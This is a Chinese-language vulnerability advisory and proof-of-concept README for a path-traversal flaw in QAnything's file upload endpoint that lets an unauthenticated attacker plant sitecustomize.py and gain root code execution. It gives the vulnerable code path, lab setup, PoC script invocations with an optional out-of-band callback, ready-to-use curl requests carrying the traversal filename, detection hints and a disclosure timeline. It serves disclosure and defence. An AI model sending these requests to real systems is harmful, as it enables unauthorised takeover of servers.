CVE ID:CVE-2026-88533(由 MITRE 分配,记录发布待定)
产品:QAnything,由 netease-youdao 开发——开源 RAG / 知识库问答平台
受影响版本:v1.4.x 至 v2.0.0(默认分支 qanything-v2,直至最终提交 65de104)
修复版本:无——项目自 2025-03-12 起停止维护;唯一的安全修复(PR #483)位于旧版 master 分支,从未合并到 qanything-v2
弱点:CWE-22 路径遍历
影响:未认证的任意文件创建 → 以 uid=0(root) 身份远程执行代码
发现者:Yankui Li
文件上传端点 POST /api/local_doc_qa/upload_files 接收攻击者可控的 multipart filename,并将其用作目标路径,而未对路径分隔符进行清理。urllib.parse.unquote() 会将 %2f 还原为 /,全角字符过滤和长度截断保留了 ../ 和绝对路径,而 os.path.join(base, name) 在 name 为绝对路径时会完全丢弃 base。由此产生的 open(file_location, "wb") 会将攻击者可控的内容写入进程可触及的任何位置——默认情况下位于 root 容器内。
由于该产品任何地方都不需要认证(user_id/user_info 只是普通请求参数),任何网络可达的实例都会匿名接受此攻击。
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
两个特性使此漏洞可被可靠利用:
../ 的数量。%2e%2e%2f 能够存活,因为 unquote 在任何过滤之前执行。同一代码库内部的加固对比:upload_faqs 端点会将文件名中的 / 替换为 _。upload_files 从未获得此处理,使其成为唯一的写入向量。
注意:LocalFile.__init__ 有一个 if not os.path.exists(file_location) 守卫,因此只能创建新文件——无法覆盖现有文件。因此利用目标是可执行位置上的新文件。
官方 Docker 镜像以 root 身份运行 Python 后端。CPython 在解释器启动时会自动从 site-packages 导入 sitecustomize.py——一个被投放到以下位置的新文件:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7 个 ../ 相对路径,或绝对路径)会在后端下次启动时被导入,以 uid=0(root) 身份执行攻击者代码。
为什么是
site-packages而不是应用目录?CPython 在插入sys.path[0]之前运行site.py,因此入口脚本旁边的sitecustomize.py不会被自动导入。site-packages是唯一可靠的投放区域。
其他向量经过测试并被排除(为完整起见记录如下):
/etc/cron.d/——目录存在且接受写入,但镜像不包含 cron 守护进程,因此没有任何东西会执行载荷。官方镜像 + 固定漏洞源码(提交 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
PoC 脚本随本仓库提供(poc_qanything_cve_2026_88533.py)——以下每一项证据都是通过针对上述实验环境运行该脚本产生的。克隆并自行复现完全相同的输出:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full 会重启目标容器一次(已记录的行为;CPython 导入在启动时触发)。所有内容默认安全:无反向 shell,无破坏性载荷——演示载荷写入一个包含 id 输出的标记文件。
整个攻击就是两个 HTTP POST 请求;检测内容应匹配以下特征
(携带绝对路径或 ..//%2f 序列的 multipart filename 是关键信号):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
以下所有证据都是 poc_qanything_cve_2026_88533.py(本仓库中的脚本)针对由 docker-compose-lab.yaml 构建的实验环境运行时的实际终端输出。没有任何步骤是伪造或模拟的——除非每项检查都通过,否则脚本会以非零状态退出,因此你可以自行端到端验证整个链条。
实验环境——官方镜像 + 最小依赖,所有容器健康:

--mode check——未认证写入原语已确认:标记通过绝对路径 multipart 文件名被写入上传目录之外,并从容器内部读回:

--mode full——容器重启后,CPython 自动导入植入的 sitecustomize.py;载荷的标记证明以 uid=0(root) 身份执行:

上述 --mode full 运行的完整终端记录也已逐字包含:evidence/full-chain-run-2026-09-18.log——6/6 项检查 [OK],结论 RCE CONFIRMED,载荷标记证明 uid=0(root) 并带有时间戳(日志中的 nonce/kb_id 值每次运行随机生成,因此你自己的运行结果会有所不同——这是预期行为)。
CVE 记录页面的截图将在记录发布后添加。
| 日期 | 事件 |
|---|---|
| 2026-08-25 | 发现漏洞;针对实时实例验证写入原语(无害标记 + 读回) |
| 2026-08-29 | 在隔离的本地实验环境中复现完整 RCE 链;撰写报告;通过 cveform 提交至 MITRE(CNA-LR) |
| 2026-09-18 | MITRE 分配 CVE-2026-88533 |
| 待定 | 发布 CVE 记录;发布本仓库及详细分析文章 |
本材料发布用于防御性研究和教育目的。仅可针对你拥有或已获得明确书面授权测试的系统使用。参见 DISCLAIMER.md。